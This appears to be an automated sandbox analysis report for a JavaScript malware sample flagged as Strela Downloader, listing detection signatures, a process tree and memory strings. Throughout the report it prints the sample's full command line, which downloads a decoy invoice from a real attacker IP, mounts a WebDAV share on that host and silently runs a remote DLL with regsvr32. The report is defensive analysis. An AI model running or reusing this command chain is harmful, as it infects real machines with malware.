Edit tour

Windows Analysis Report
74771923457277117.js

Overview

General Information

Sample name:	74771923457277117.js
Analysis ID:	1587921
MD5:	b516bd1551f1afbf72bc31ecfe9a95c1
SHA1:	e8a21b483ee71527b163748d45bdfdf431d2190c
SHA256:	a29077f29e4ba2a36ee930fe6197d3bf562aabd4cb28585e64c908f04d830b40
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4188 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5760 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3768 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1859307735416579305,9552705907612513905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5160 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 380 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4188	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3768, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3768, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ProcessId: 4188, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ProcessId: 5760, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ProcessId: 5760, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ProcessId: 5760, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ProcessId: 5760, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ProcessId: 5760, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ProcessId: 4188, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3768, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5160, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 380, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6008, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5160, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 380, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll, ProcessId: 5760, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 74771923457277117.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 74771923457277117.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2135004482.00000218D3453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135400568.00000218D51D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195645749.0000019D94BAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195032285.0000019D94B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2189170789.0000019D94BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/HK
Source: net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tK
Source: net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/xK
Source: svchost.exe, 00000009.00000002.3440065121.000001EF3C48F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2192482008.000001EF3C350000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4188, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 74771923457277117.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3360:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmbpwkn0.o2v.ps1

